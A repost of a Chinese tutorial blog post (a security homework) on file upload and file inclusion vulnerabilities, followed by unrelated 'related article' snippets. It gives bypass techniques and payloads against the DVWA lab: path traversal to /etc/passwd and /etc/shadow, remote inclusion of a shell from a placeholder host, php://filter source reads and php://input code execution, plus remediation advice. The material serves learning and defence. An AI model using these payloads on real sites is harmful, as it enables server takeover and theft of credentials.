网络安全作业4

title: 文件上传/文件包含漏洞学习
date: 2016-04-25 21:52:19
categories: 安全
tags: Web安全
** 文件上传漏洞 **

在Web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制甚至服务器沦陷。
常见漏洞原因主要有:
服务器皮配置不当,如开启PUT方式;文本编辑器漏洞;过滤不严上传绕过;解析漏洞等

上传方式
1、解析漏洞
IIS 6.0 解析漏洞:
目录解析:在网站中建立名称为*.asp、.asa格式的文件夹时。其目录下的任意文件都会被当做asp执行。
文件解析:当文件名为.asp;1.jpg 时,也会被当做asp执行。这时因为分号后面的不被解析。
Apache 解析漏洞:
Apache在解析文件时,是从右到左,如果遇到不认识的扩展名,就会继续向左判断。例如1.php.rar,Apache回将其当做php解析。
IIS 7.0/IIS 7.5/ Nginx <0.8.3畸形解析漏洞:当访问http://xxx.xom/1.jpg/1.php时,此时1.php不存在,会将1.jpg当做php来解析。这是因为在php配置中cgi.fi: x_pathinfo这个选项开启时,当访问http://xxx.xom/1.jpg/1.php,1.php不存在,所有php会向前递归解析,于是造成解析漏洞。

2、绕过上传检测
1.有些上传检测是在客户端使用Javascript进行验证,此时可以使用浏览器f12调试功能修改js来绕过。
2.00截断:将普通的webshell文件更改后缀名为jpg,如xxx.jpg然后进行上传。上传时使用burpsuite工具进行拦截。此时在数据中更改文件名为 xxx.php.jpg,然后点击hex编辑16进制。将.jpg中的.的16进制2e更改为00。如图 
此时文件名为:

此时,点击go进行上传,最终上传文件为xxx.php

3、服务器配置不当
WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法。使应用程序可直接对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。当WebDAV开启PUT,MOVE,COPY,DELETE方法时,攻击者就可以向服务器上传危险脚本文件。
此时可以使用OPTIONS探测服务器支持的http方法,如果支持PUT,就进行上传脚本文件,在通过MOVE或COPY方法改名。当开启DELETE时还可以删除文件。
参考:http://wiki.wooyun.org/server:httpput

修复上传漏洞
1、白名单验证
在服务器后端,使用白名单进行验证可以有效防御。

2、目录限制
上传后指定目录进行存储,可以防止目录解析漏洞。

3、文件重命名
上传后对文件名进行随机重命名,同时对后缀进行拼接,重新组成一个文件名。

文件包含漏洞

简介
在脚本语言中经常会用到其它的文件,所以都提供了文件包含功能,如果不对可以包含的文件进行限制,就有可能会导致文件包含漏洞。文件包含分为本地文件包含和远程文件包含。
文件包含漏洞可以读取敏感文件,配合文件上传功能可以得到webshell,远程文件包含可以直接远程包含shell。

本地文件包含利用
以PHP为例。PHP中提供了四个文件包含的函数,分别是 include(),include_once(),require(),require_once()
以DVWA为例:
页面中存在3个链接,分别为file1.php,file2.php,file2.php,当打开file1.php时,url链接为http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php
源代码如下

$file = $_GET[ 'page' ];
if( isset( $file ) )
    include( $file );
else {
    header( 'Location:?page=include.php' );
    exit;
}

首先接受f i l e , 当 存 在 时 就 会 包 含 该 页 面 , 否 则 就 跳 转 到 i n c l u d e . p h p , 然 而 我 们 可 以 对 输 入 的 file,当存在时就会包含该页面,否则就跳转到include.php,然而我们可以对输入的file,当存在时就会包含该页面,否则就跳转到include.php,然而我们可以对输入的file进行控制。当输入
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../../phpinfo.php时就可以打开phpinfo.php,由此可以读取敏感文件。
如图
并且当包含的文件中有符合php语法规范的语句时,也会将其当做php执行
例如创建一个phpinfo.txt文本,内容为:

<?php
phpinfo()
?>

当包含此文件时也会将其当做php文件执行。当包含非php语法规范的文件时,会打印其源代码。
如果存在文件上传功能,但是没有漏洞时,可以上传一个图片木马,由于没有限制导致无法被解析成为php时,就可以使用文件包含漏洞进行利用。
本地文件包含也可以用来读取敏感文件。
如windows下:
c:\boot.ini
c:\windows\system32\inetsrv\MetaBase.xml
c:\windows\php.ini
c:\windows\my.ini
linux下:
/etc/passwd
/etc/shadow
/var/www/conf/httpd.conf
/var/httpd/conf/php.ini
/var/httpd/conf/httpd.conf
本地文件包含也可以用来包含session文件,日志文件、上传的临时文件,缓存文件等等

远程文件包含利用
当php配置中allow_url_fopen和allow_url_include是打开时,就可以尝试包含远程文件,此时可以直接用来包含webshell等脚本文件。
如:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://xxx.com/shell.php,其中http://xxx.com/shell.php为远程shell文件。
同理也可以使用https或者ftp或者http
使用PHP封装协议:
如php流filter http://127.0.0.1/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
此时访问次链接就会得到网页源码的base64代码。
php://input可以执行文件
当访问http://127.0.0.1/DVWA/vulnerabilities/fi/?page=php://input时,使用burpsuite进行截取
在post中提交数据即可,如<?php system('uname -a') ?>,如图

当后缀名被固定时,可以使用截断包含。
如:

$file = $_GET[ 'page' ];
if( isset( $file ) )
    include( $file ).".php";
else {
    header( 'Location:?page=include.php' );
    exit;
}

当包含时只输入文件名,不输入后缀。但此时
可以输入?page=../../../../../../../../../etc/passwd%00
%00会截断。这种方法需要 magic_quotes_gpc=off,PHP小于5.3有效。否则%00会被转义
php小于5.3时,也可以利用最大目录长度的限制可以到达截断,如
../../../../../../(此处省略)/../etc/passd
在linux为4096字节,windows下256字节。
另外可以使用?来实现伪截断

漏洞修复
1、设置allow_url_include和allow_url_fopen为关闭
2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir
3、尽量不使用动态包含

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/763960.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码随想录笔记|C++数据结构与算法学习笔记-哈希表(一)|有效的字母异位词、两个数组的交集、快乐数、两数之和、四数相加II

文章目录 242.有效的字母异位词哈希法解法解题思路伪代码c代码 349.两个数组的交集set解决伪代码c代码 数组解决 202.快乐数思路伪代码讲解C代码 1.两数之和思路map解题过程伪代码C代码 454.四数相加II整体思路map解题过程注意事项伪代码C代码 《代码随想录链接》 本文基于代码…

PagePlug多条件查询方案

正确实现 使用Case When来编写查询条件 SELECT * FROM pc_ticket_tax_cloud WHERE 11 AND (CASE WHEN {{data_table.searchText ! }} THEN xsddm like {{data_table.searchText || ""}}%ELSE 11 END ) AND (CASE WHEN {{doc_code_input.text ! }} THEN doc_code li…

【C语言算法】求逆序对数目(C语言+归并排序)

题目描述 Background Raymond Babbitt drives his brother Charlie mad. Recently Raymond counted 246 toothpicks spilled all over the floor in an instant just by glancing at them. And he can even count Poker cards. Charlie would love to be able to do cool thin…

代码随想录Day31

Day 31 贪心算法 Part01 今日任务 455.分发饼干 摆动序列 最大子序和 代码实现 455.分发饼干 //自己想的&#xff0c;虽然看着不让代码随想录给出的解法简洁&#xff0c;但是理论是一样的public int findContentChildren(int[] g, int[] s) {Arrays.sort(g);Arrays.sort(…

Git浅谈配置文件和免密登录

一、文章内容 简述git三种配置ssh免密登录以及遇见的问题git可忽略文件git remote 相关操作 二、Git三种配置 项目配置文件(局部)&#xff1a;项目路径/.git/config 文件 git config --local user.name name git config --local user.email 123qq.cc全局配置文(所有用户): …

【Web】记录CISCN 2021 总决赛 ezj4va题目复现——AspectJWeaver

目录 前言 原理分析 step 0 step 1 EXP 前文&#xff1a;【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入-CSDN博客 前言 这就是当年传说中的零解题嘛&#x1f62d;&#xff0c;快做&#x1f92e;了 有了之前的经验&#xff0c;思路顺挺快的&#xff0c;中间不…

网络基础(一)初识

1、计算机网络背景 1.1、网络发展 1. 独立模式: 计算机之间相互独立&#xff1b; 2. 网络互联: 多台计算机连接在一起&#xff0c;完成数据共享&#xff1b; 3. 局域网LAN: 计算机数量更多了, 通过交换机和路由器连接在一起; 4. 广域网WAN: 将远隔千里的计算机都连在一起;…

突破编程_C++_STL教程( priority_queue 的基础知识)

1 std::priority_queue 概述 std::priority_queue 是 C 标准库中的一个容器适配器&#xff0c;它提供了一种实现优先队列数据结构的机制。优先队列是一种特殊的队列&#xff0c;其中元素的出队顺序不是基于它们进入队列的顺序&#xff0c;而是基于它们的优先级。优先级最高的元…

【python】python汽车效能数据集—回归建模(源码+数据集)【独一无二】

&#x1f449;博__主&#x1f448;&#xff1a;米码收割机 &#x1f449;技__能&#x1f448;&#xff1a;C/Python语言 &#x1f449;公众号&#x1f448;&#xff1a;测试开发自动化【获取源码商业合作】 &#x1f449;荣__誉&#x1f448;&#xff1a;阿里云博客专家博主、5…

yaml 语法和在线解析工具

文章目录 在线解析工具1. 简介2. 语法规则3. 数据类型3.1 数组&#xff1a;3.2对象&#xff1a;3.3 标量3.4 复合结构3.5 锚点3.5.1 单个锚点3.5.6 多个锚点 3.6 引号 参考 在线解析工具 工具1 工具2 1. 简介 Yaml是一种可读性高的数据标记语言&#xff0c;Yaml文件是一种配…

使用VisualStudio集成开发nodejs的addon项目

文章目录 Visual Studio中的nodeJS项目配置Visual Studio中的addon项目配置一般的addon项目手写CPP文件 & VS构建.node文件的本质分析使用VS来创建node文件项目另外一个验证方式Visual Studio中的nodeJS项目配置 在VisualStudio的IDE中,已经可以创建一些基本的nodejs项目…

vscode配置C语言打断点

搞了半天&#xff0c;也不知道为什么&#xff0c;不能打断点&#xff0c;后来就可以了。 1&#xff0c;VSCODE启动要管理员启动。 launch.json文件内容 { "version": "0.2.0", "configurations": [ { "name": "(Windows) Laun…

Python从入门到精通秘籍十五

一、Python之基础地图的使用 当涉及到地图数据和地理信息处理时&#xff0c;Python中最常用的库是Folium&#xff0c;它是一个基于Leaflet.js的Python库&#xff0c;可以轻松创建交互式地图可视化。 首先&#xff0c;你需要安装Folium库。可以通过以下命令使用pip进行安装&am…

45.i++和++i

目录 一.基本概念 二.区别 三.总结 四.视频教程 一.基本概念 i和i两者的作用都是自增加1。单独使用的话&#xff0c;i和i&#xff0c;效果都是一样的&#xff0c;就是ii1。 int main() {int i 0;i; } int main() {int i 0;i; } 最后的结果都是1。 二.区别 如上单独使…

SpringBoot—@ConditionalOnBean与@ConditionalOnClass

一、ConditionalOnBean概念 需求场景 比如下面一种场景&#xff0c;我在实例化People对象的时候&#xff0c;需要注入一个City对象。这个时候问题来了&#xff0c;如果city没有实例化&#xff0c;那么下面就会报空指针或者直接报错。 所以这里需求很简单&#xff0c;就是当前c…

就业班 第二阶段 2401--3.19 day4 主从复制

一、MySQL-Replication&#xff08;主从复制&#xff09; 1.1、MySQL Replication 主从复制&#xff08;也称 AB 复制&#xff09;允许将来自一个MySQL数据库服务器&#xff08;主服务器&#xff09;的数据复制到一个或多个MySQL数据库服务器&#xff08;从服务器&#xff09;…

MySQL面试题--最全面-索引

目录 一、索引 1.MySQL是如何让实现的索引机制&#xff1f; 2.InnoDB索引与MyISAM索引实现的区别是什么&#xff1f; 3.一个表中如果没有创建索引&#xff0c;那么还会创建B树吗&#xff1f; 4.说一下B树索引实现原理&#xff08;数据结构&#xff09; 5.聚簇索引与非聚簇…

Handler的post与sendMessage的区别和应用场景

Handler的post与sendMessage的区别和应用场景 区别在于post实现起来比较简单。而sendMessage()则需要自己重写handleMessage&#xff08;&#xff09;方法。 两者在本质上都没有什么区别。post方法适合单一的场景&#xff0c;实现起来比较方便。sendMessage()适合需要作条件判…

弱电工程包括哪些工程?

​一、弱电工程的分部有哪些? 分为基础、主体、装饰工程、强电、弱电、消防、暖通、给排水工程&#xff0c;桩基、筏板、模板、钢筋、混凝土、砌体、粉刷、地坪等 二、弱电工程系统包括哪些? 弱电系统包括&#xff1a;闭路电视监控系统、防盗报警系统、门禁系统、电子巡更…

[小程序开发] 分包加载

一、介绍 分包加载是一种小程序的优化技术&#xff0c;将小程序不同功能的代码&#xff0c;分别打包成不同的子包&#xff0c;在构建时打包成不同的分包&#xff0c;用户在使用时按需进行加载&#xff0c;在构建小程序分包项目时&#xff0c;构建会输出一个或多个分包&#xff…